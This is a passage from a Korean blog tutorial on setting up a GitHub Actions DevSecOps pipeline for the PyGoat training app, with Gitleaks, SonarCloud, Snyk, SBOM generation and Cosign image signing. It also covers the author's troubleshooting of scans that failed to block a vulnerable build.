&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;Github에 pygoat-devsecops-lab라는 &lt;b&gt;Private Repository를 생성한 후 위 과정에 따라서 secrets를 등록&lt;/b&gt;한다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;826&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b03LHy/dJMcahqIrwc/IdnlY4c3gUkRNSzVI2ySo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b03LHy/dJMcahqIrwc/IdnlY4c3gUkRNSzVI2ySo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b03LHy/dJMcahqIrwc/IdnlY4c3gUkRNSzVI2ySo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb03LHy%2FdJMcahqIrwc%2FIdnlY4c3gUkRNSzVI2ySo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;542&quot; height=&quot;603&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;826&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;2. 설계도 파일 준비&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1 Dockerfile, dockerignore&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Dockerfile&lt;/b&gt;은 Pygoat 기존의 파일을 사용하며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;dockerignore&lt;/b&gt; 파일을 만들어 &lt;b&gt;컨테이너 빌드 시 불필요하거나 민감한 파일이 이미지 내부에 포함되는 것을 차단&lt;/b&gt;한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777379275038&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 버전 관리 및 CI/CD (보안 핵심)
.git
.gitignore
.github/

# 2. 파이썬 및 의존성 (경량화 핵심)
venv/
.venv/
__pycache__/
*.pyc
*.pyo
*.pyd

# 3. 도커 관련 (중복 방지)
Dockerfile
.dockerignore

# 4. 민감 정보 및 로그 (유출 방지)
.env
.flaskenv
*.log
*.key
*.pem
*.db
*.sqlite3  # PyGoat의 로컬 DB 파일 유출 차단

# 5. 개발 툴 및 기타
.vscode/
.idea/
.DS_Store
*.sbom
bom.json&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-2 workflow 작성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #dddddd; background-color: #f6e199;&quot;&gt;.&lt;span style=&quot;color: #000000;&quot;&gt;github/workflows&lt;/span&gt;&lt;/span&gt;에 파일 생성&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777389728133&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;name: DevSecOps 1-Week Automation Pipeline

on:
  push:
    branches: [ &quot;main&quot; ]
  pull_request:
    branches: [ &quot;main&quot; ]

jobs:
  security-scan:
    name: Security &amp;amp; Quality Analysis
    runs-on: ubuntu-latest
    steps:
      - name: Checkout Code
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      # 1. Gitleaks: 시크릿 유출 탐지
      - name: Gitleaks Scan
        uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GH_TOKEN }}

      # 2. SonarQube: 정적 코드 분석 (SAST)
      - name: SonarCloud Scan
        uses: SonarSource/sonarcloud-github-action@master
        env:
          GITHUB_TOKEN: ${{ secrets.GH_TOKEN }}
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
        with:
          args: &amp;gt;
            -Dsonar.projectKey=${{ secrets.SONAR_PROJECT_KEY }}
            -Dsonar.organization=${{ secrets.SONAR_ORG_KEY }}

      # 3. Snyk: 오픈소스 취약점 및 코드 스캔 (SCA/SAST)
      - name: Run Snyk to check for vulnerabilities
        uses: snyk/actions/python@master
        continue-on-error: true # 실습 흐름을 위해 우선 진행
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
        with:
          args: --org=${{ secrets.SNYK_ORG_ID }} --sarif-file-output=snyk.sarif

  build-and-sign:
    name: Build, SBOM and Image Signing
    needs: security-scan
    runs-on: ubuntu-latest
    steps:
      - name: Checkout Code
        uses: actions/checkout@v4

      # 4. Docker Build &amp;amp; Push
      - name: Login to Docker Hub
        uses: docker/login-action@v3
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Build and Push Docker Image
        uses: docker/build-push-action@v5
        id: build-push
        with:
          push: true
          tags: ${{ secrets.DOCKERHUB_USERNAME }}/pygoat:devsecops

      # 5. Syft: SBOM 생성 (공급망 보안)
      - name: Generate SBOM (Syft)
        uses: anchore/sbom-action@v0
        with:
          image: ${{ secrets.DOCKERHUB_USERNAME }}/pygoat:devsecops
          format: 'spdx-json'
          output-file: 'sbom.spdx.json'

      # 6. Cosign: 컨테이너 이미지 서명
      - name: Install Cosign
        uses: sigstore/cosign-installer@v3.5.0

      - name: Write Cosign Key
        run: echo &quot;${{ secrets.COSIGN_KEY }}&quot; &amp;gt; cosign.key

      - name: Sign Image
        run: |
          cosign sign --key cosign.key \
          -y ${{ secrets.DOCKERHUB_USERNAME }}/pygoat:devsecops
        env:
          COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}
        # 7. Cosign: SBOM 어테스테이션 생성 및 서명
      - name: Attest SBOM
        run: |
          cosign attest --key cosign.key \
          --type spdxjson \
          --predicate sbom.spdx.json \
          -y ${{ secrets.DOCKERHUB_USERNAME }}/pygoat:devsecops
        env:
          COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1)&amp;nbsp; 파이프라인 트리거 (스위치 작동)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;Trigger&lt;/b&gt;: 사용자가 main 브랜치에 코드를 &lt;b data-index-in-node=&quot;28&quot; data-path-to-node=&quot;3,0,0&quot;&gt;Push&lt;/b&gt;하거나 &lt;b data-index-in-node=&quot;36&quot; data-path-to-node=&quot;3,0,0&quot;&gt;Pull Request&lt;/b&gt;를 생성.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;감지&lt;/b&gt;: GitHub 서버가 저장소 내 .github/workflows/devsecops-pipeline.yml 파일을 읽어 가상 머신(Runner) 배정.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2) Job 1: Security &amp;amp; Quality Analysis (보안 검증 단계)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;이 작업은 코드가 안전한지 확인하는 첫 번째 관문임.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,0&quot;&gt;Step 1. Checkout&lt;/b&gt;: 가상 머신으로 소스 코드를 복제. (분석 대상 확보)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;Step 2~4. 순차적 스캔&lt;/b&gt;: &lt;b data-index-in-node=&quot;18&quot; data-path-to-node=&quot;6,1,0&quot;&gt;Gitleaks &amp;rarr; SonarQube &amp;rarr; Snyk&lt;/b&gt; 순서로 실행.
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,1,0,0&quot;&gt;직렬 구조&lt;/b&gt;: 이전 단계가 끝나야 다음 도구가 실행됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,1,1,0&quot;&gt;로그 기록&lt;/b&gt;: 각 도구의 실행 결과와 취약점 리포트가 GitHub Actions 로그 및 각 서비스 대시보드로 전송됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,2,0&quot;&gt;결과&lt;/b&gt;: 모든 스캔이 'Pass' 되어야 이 Job이 &lt;b data-index-in-node=&quot;29&quot; data-path-to-node=&quot;6,2,0&quot;&gt;Success&lt;/b&gt; 상태가 됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;- Job 간의 연결 고리: needs (가드레일)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;의존성 제어&lt;/b&gt;: build-and-sign 작업에 설정된&lt;span style=&quot;background-color: #f6e199;&quot;&gt; needs: security-scan&lt;/span&gt;이 핵심.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;차단 로직&lt;/b&gt;: 만약 security-scan에서 시크릿이 발견되거나 취약점이 너무 많아 &lt;b data-index-in-node=&quot;48&quot; data-path-to-node=&quot;8,1,0&quot;&gt;Failure&lt;/b&gt;가 뜨면, 다음 Job인 빌드 단계는 자동으로 취소(Skipped)됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;목적&lt;/b&gt;: 취약한 코드가 이미지로 빌드되어 배포되는 것을 원천 차단.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3) Job 2: Build, SBOM and Image Signing (패키징 및 신뢰 부여)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt;Step 1. Docker Build &amp;amp; Push&lt;/b&gt;: 검증된 코드를 이미지로 빌드하여 Docker Hub에 업로드.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0&quot;&gt;Step 2. Syft (SBOM 생성)&lt;/b&gt;: 빌드된 이미지의 구성 요소 명세서 작성.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,2,0&quot;&gt;Step 3. Cosign (서명)&lt;/b&gt;: 생성된 이미지에 디지털 서명을 하여 '공인된 이미지'임을 증명.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;3. 자동화 실행&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;만들어놨던 private repository에 소스코드 push후 Actions에서 만들었던 workflow 확인&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;834&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6Cyzc/dJMcagrMyn6/iL0Y0jbVefkfq9de0uHKBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6Cyzc/dJMcagrMyn6/iL0Y0jbVefkfq9de0uHKBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6Cyzc/dJMcagrMyn6/iL0Y0jbVefkfq9de0uHKBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6Cyzc%2FdJMcagrMyn6%2FiL0Y0jbVefkfq9de0uHKBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;558&quot; height=&quot;485&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;834&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;682&quot; data-origin-height=&quot;467&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwU0AB/dJMcaib6bko/dqksr6DqKKJB6Ks8SePdTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwU0AB/dJMcaib6bko/dqksr6DqKKJB6Ks8SePdTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwU0AB/dJMcaib6bko/dqksr6DqKKJB6Ks8SePdTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwU0AB%2FdJMcaib6bko%2Fdqksr6DqKKJB6Ks8SePdTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;472&quot; height=&quot;323&quot; data-origin-width=&quot;682&quot; data-origin-height=&quot;467&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;문제점 : 분명 취약점이 많았는데 security scan 단계가 통과&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-1 문제점 확인&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분명 Pygoat 파일을 gitleaks, sonarqube, synk 분석 도구로 각각 확인했을 때는 취약점이 잘 탐지됐는데 자동화 과정에서 탐지가 제대로 안되는 문제가 발생하였다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1) Sonarqube 탐지 오류&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1-1) quality Gate 적용 안 됨&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sonarqube 대시보드에서는 취약점이 발견됐지만 quality gate가 적용되지 않은것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;custom quality gate를 다시 만들고 workflow의 sonarcloud scan 부분에 quality 결과를 기다리는 부분을 추가한다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777394709445&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;- name: SonarCloud Scan
  uses: SonarSource/sonarqube-scan-action@master
  with:
    args: &amp;gt;
      -Dsonar.projectKey=${{ secrets.SONAR_PROJECT_KEY }}
      -Dsonar.organization=${{ secrets.SONAR_ORG_KEY }}
      -Dsonar.qualitygate.wait=true  # Quality Gate 결과를 기다리고 실패 시 빌드 중단
      -Dsonar.scm.disabled=tre # 모든 코드를 새로운 코드로 인식하도록 강제
  env:
    SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 자꾸 새로운 코드 인식을 못함 overall 코드를 quality gate에 넣으려면 유료 계정이 필요함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1-2) Sonarqube 리포트 기반 quality gate 재작성&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sonarqube에서 제공하는 pass/fail은 무시하고 리포트를 받아서 우리가 직접 정한 규칙을 만족하면 통과하게 바꿈&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;check_gate&lt;/span&gt;라는 파일을 생성해서 realiability, security, coverage, hotspots 기준을 직접 정해서 workflow에 check_gate 실행 부분 추가&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777400593145&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; # 2. SonarQube: 정적 코드 분석 (SAST)
      - name: SonarCloud Scan
        uses: SonarSource/sonarcloud-github-action@master
        env:
          GITHUB_TOKEN: ${{ secrets.GH_TOKEN }}
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
        with:
          args: &amp;gt;
            -Dsonar.projectKey=${{ secrets.SONAR_PROJECT_KEY }}
            -Dsonar.organization=${{ secrets.SONAR_ORG_KEY }}
            -Dsonar.qualitygate.wait=false
            -Dsonar.scm.disabled=true
        # 이 옵션이 핵심! 판정 실패 시 빌드 중단

      - name: Custom Security Gate Check
        run: python check_gate.py &quot;${{ secrets.SONAR_PROJECT_KEY }}&quot; &quot;${{ secrets.SONAR_TOKEN }}&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;check_gate.py&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777400357918&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests
import sys

# 설정 값
PROJECT_KEY = sys.argv[1]
SONAR_TOKEN = sys.argv[2]# GitHub Secrets에서 전달
URL = f&quot;https://sonarcloud.io/api/measures/component?component={PROJECT_KEY}&amp;amp;metricKeys=security_rating,reliability_rating,coverage,security_hotspots&quot;

response = requests.get(URL, auth=(SONAR_TOKEN, ''))
data = response.json()

# 지표 추출
measures = {m['metric']: m['value'] for m in data['component']['measures']}

# 기준 정의 (A=1.0, B=2.0 ...)
security = float(measures.get('security_rating', 5.0))
reliability = float(measures.get('reliability_rating', 5.0))
coverage = float(measures.get('coverage', 0.0))
hotspots = int(measures.get('security_hotspots', 1000))

# 검증 로직
failed = False
if security &amp;gt; 1.0: print(&quot;❌ Security Rating is not A&quot;); failed = True
if reliability &amp;gt; 1.0: print(&quot;❌ Reliability Rating is not A&quot;); failed = True
if coverage &amp;lt; 0.0: print(f&quot;❌ Coverage ({coverage}%) is under 80%&quot;); failed = True
if hotspots &amp;gt; 100: print(f&quot;❌ Hotspots ({hotspots}) are over 100&quot;); failed = True

if failed:
    sys.exit(1) # 빌드 실패 처리
else:
    print(&quot;✅ All Security Gates Passed!&quot;)
    sys.exit(0)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eD7jOg/dJMcaaymi5d/tmKE5vr1tECFyRDPkAnD9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eD7jOg/dJMcaaymi5d/tmKE5vr1tECFyRDPkAnD9k/img.png&quot; data-alt=&quot;성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eD7jOg/dJMcaaymi5d/tmKE5vr1tECFyRDPkAnD9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeD7jOg%2FdJMcaaymi5d%2FtmKE5vr1tECFyRDPkAnD9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;602&quot; height=&quot;256&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2) gitleaks 탐지 오류&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gitleaks-action 방식이 문제였음&lt;/p&gt;
&lt;pre id=&quot;code_1777402245164&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;- name: Gitleaks Scan
   uses: gitleaks/gitleaks-action@v2
   env:
     GITHUB_TOKEN: ${{ secrets.GH_TOKEN }}
   with:
     args: detect --all --verbose  &amp;lt;-- 인식 안 됨 (에러 발생)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;진단&lt;/b&gt;: v2 버전에서 with.args 입력을 지원하지 않아 설정값이 무시됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;결과&lt;/b&gt;: 기본 설정인 '최근 1개 커밋'만 스캔하여 기존 취약점을 모두 놓침.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;수정 후&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777402271674&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;- name: Gitleaks Scan
  run: |
    docker run -v ${PWD}:/path zricethezav/gitleaks:latest detect --source=&quot;/path&quot; -v --exit-code=2&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bawlnN/dJMcagSRXD3/J1BdzKyKAtdFL6LiUHswW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bawlnN/dJMcagSRXD3/J1BdzKyKAtdFL6LiUHswW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bawlnN/dJMcagSRXD3/J1BdzKyKAtdFL6LiUHswW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbawlnN%2FdJMcagSRXD3%2FJ1BdzKyKAtdFL6LiUHswW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;667&quot; height=&quot;302&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3) Snyk 탐지 오류&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;requirements.txt를 읽긴 했지만, 실제 분석을 위한 &lt;b data-index-in-node=&quot;49&quot; data-path-to-node=&quot;1&quot;&gt;의존성 그래프(Dependency Tree) 빌드&lt;/b&gt; 단계에서 환경 문제로 멈춰버린 상태&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 의존성 사전 설치&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777403093541&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 3. Snyk: 오픈소스 취약점 및 코드 스캔 (SCA/SAST)
      - name: Install dependencies and Snyk CLI
